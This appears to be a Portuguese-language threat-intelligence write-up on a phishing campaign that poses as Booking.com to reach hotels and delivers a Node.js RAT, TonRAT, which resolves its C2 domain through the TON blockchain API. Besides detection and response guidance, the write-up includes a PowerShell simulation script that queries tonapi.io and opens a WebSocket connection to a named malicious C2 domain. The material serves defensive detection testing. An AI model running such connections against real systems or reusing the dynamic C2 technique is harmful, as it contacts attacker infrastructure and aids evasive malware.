SOC Prime Bias: Alto

12 Jun 2026 06:33 UTC

Análise Técnica de Emails Suspeitos Alvejando a Indústria Hoteleira

Author Photo
SOC Prime Team linkedin icon Seguir
Análise Técnica de Emails Suspeitos Alvejando a Indústria Hoteleira
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Uma sofisticada campanha de malware em múltiplos estágios está mirando o setor hoteleiro através de e-mails disfarçados como notificações do Booking.com. A cadeia de intrusão combina arquivos LNK maliciosos, scripts PowerShell e um trojan de acesso remoto baseado em Node.js conhecido como TonRAT. Um dos aspectos mais notáveis da operação é o uso da API The Open Network (TON) para obter domínios de comando e controle dinamicamente, tornando o bloqueio baseado em domínio tradicional menos confiável.

Investigação

A investigação descobriu um fluxo de execução em camadas em que um arquivo ZIP inicial contém um arquivo LNK que lança o PowerShell para recuperar um script secundário. Esse script descriptografa uma carga útil em JavaScript identificada como TonRAT usando AES e a executa através de um runtime Node.js legítimo baixado de nodejs.org. Uma vez ativo, o malware inicia comunicações de comando e controle baseadas em WebSocket usando informações de domínio extraídas de solicitações da API blockchain TON.

Mitigação

As defesas recomendadas incluem restringir a execução do PowerShell, monitorar de perto o uso não autorizado do runtime Node.js (node.exe), e detectar tráfego anômalo de WebSocket. As organizações também devem monitorar conexões para a API TON, incluindo tonapi.io, e fortalecer a filtração de e-mails para capturar domínios falsificados, anexos suspeitos e iscas de phishing voltadas para a equipe dos hotéis.

Resposta

Se houver suspeita de comprometimento, as equipes de segurança devem isolar o endpoint afetado imediatamente para evitar tráfego adicional de comando e controle e possível exfiltração de dados. Os logs operacionais do PowerShell e os registros de execução de processos devem ser revisados para a node.exe atividade não autorizada. Uma varredura forense também deve ser realizada para os hashes JavaScript conhecidos do TonRAT, junto com a investigação de qualquer conexão com a infraestrutura de comando e controle identificada.

"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc %% Node Definitions action_phishing["<b>Ação</b> – <b id='T1566.002'>T1566.002 Phishing: Link de Spearphishing</b><br/>Descrição: Atacantes enviam e-mails se passando por Booking.com<br/>contendo links para download de um arquivo ZIP malicioso."] class action_phishing action action_execution["<b id='T1204.002'>T1204.002 Execução do Usuário: Arquivo Malicioso</b><br/>Descrição: Usuário executa um arquivo .lnk contido dentro do arquivo ZIP."] class action_execution action process_cmd["<b id='T1059.003'>T1059.003 Interprete de Comandos e Scripts: Shell de Comando do Windows</b><br/>Descrição: Acionado via comando PowerShell usando Invoke-WebRequest<br/>para baixar um script secundário."] class process_cmd process malware_script["<b id='T1027'>T1027 Arquivos ou Informações Ofuscadas</b><br/>Descrição: Script PowerShell LE3f0MRT.ps1 usa criptografia AES<br/>para descriptografar um arquivo JavaScript (TonRAT)."] class malware_script malware action_transfer["<b id='T1105'>T1105 Transferência de Ferramenta de Entrada</b><br/>Descrição: Malware baixa um runtime legítimo do Node.js<br/>de nodejs.org para executar a carga útil."] class action_transfer action action_indirect["<b id='T1202'>T1202 Execução Indireta de Comando</b><br/>Descrição: Usado para manter persistência e evitar detecção."] class action_indirect action action_resolution["<b id='T1568'>T1568 Resolução Dinâmica</b><br/>Descrição: Consulta a API TON (tonapi.io) para recuperar<br/>o domínio de Comando e Controle C2."] class action_resolution action malware_tonrat["<b id='T1568'>T1568 Comando e Controle</b><br/>Descrição: TonRAT estabelece comunicação via WebSocket<br/>usando um aperto de mão ECDH para C2 criptografado."] class malware_tonrat malware %% Connections action_phishing –>|leads_to| action_execution action_execution –>|triggers| process_cmd process_cmd –>|downloads| malware_script malware_script –>|performs| action_transfer action_transfer –>|enables| action_indirect action_indirect –>|performs| action_resolution action_resolution –>|resolves_C2_for| malware_tonrat malware_tonrat –>|allows| action_indirect "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Pré-vôo de Telemetria & Baseline deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão à má interpretação do diagnóstico.

  • Narrativa do Ataque & Comandos: O adversário visa estabelecer um canal de Comando e Controle (C2) baseado em WebSocket. Para se misturar com o tráfego legítimo, o malware primeiro consulta o tonapi.io serviço para resolver sua infraestrutura C2. Uma vez que a interação de API “legítima” é estabelecida, o malware inicia um aperto de mão WebSocket (wss://) para o domínio malicioso codificado zloapobikahy23.bond. Esta sequência é projetada para aproveitar a reputação da API TON para mascarar a subsequente conexão maliciosa.

  • Script de Teste de Regressão:

    # Simulação de Comunicação C2 do TonRAT via WebSocket
    # Passo 1: Simular interação com a API TON
    Write-Host "[+] Simulando interação com tonapi.io..."
    $api_url = "https://tonapi.io/v2/blockchain/accounts/EQ..."
    Invoke-WebRequest -Uri $api_url -Method Get -UseBasicParsing
    
    # Passo 2: Simular conexão WebSocket para o domínio C2 malicioso
    # Nota: Usamos um cliente PowerShell para iniciar um pedido WSS para acionar a lógica 'wss://' e de domínio
    Write-Host "[+] Simulando conexão WebSocket para o domínio malicioso..."
    $c2_url = "wss://zloapobikahy23.bond/control"
    
    # Usando um cliente .NET WebSockets para garantir que 'wss://' esteja presente na telemetria
    $ws = New-Object System.Net.WebSockets.ClientWebSocket
    $cts = New-Object System.Threading.CancellationTokenSource
    $uri = New-Object System.Uri($c2_url)
    
    try {
        $task = $ws.ConnectAsync($uri, $cts.Token)
        # Não precisamos de uma conexão bem-sucedida, apenas a tentativa para gerar o log
        $task.Wait(5000) 
    } catch {
        Write-Host "[!] Conexão falhou conforme esperado (domínio não existe), mas a telemetria deve ser gerada."
    } finally {
        $ws.Dispose()
    }
  • Comandos de Limpeza:

    # Nenhum artefato persistente é criado por este script, mas limpamos o console
    Clear-Host
    Write-Host "Limpeza de simulação concluída."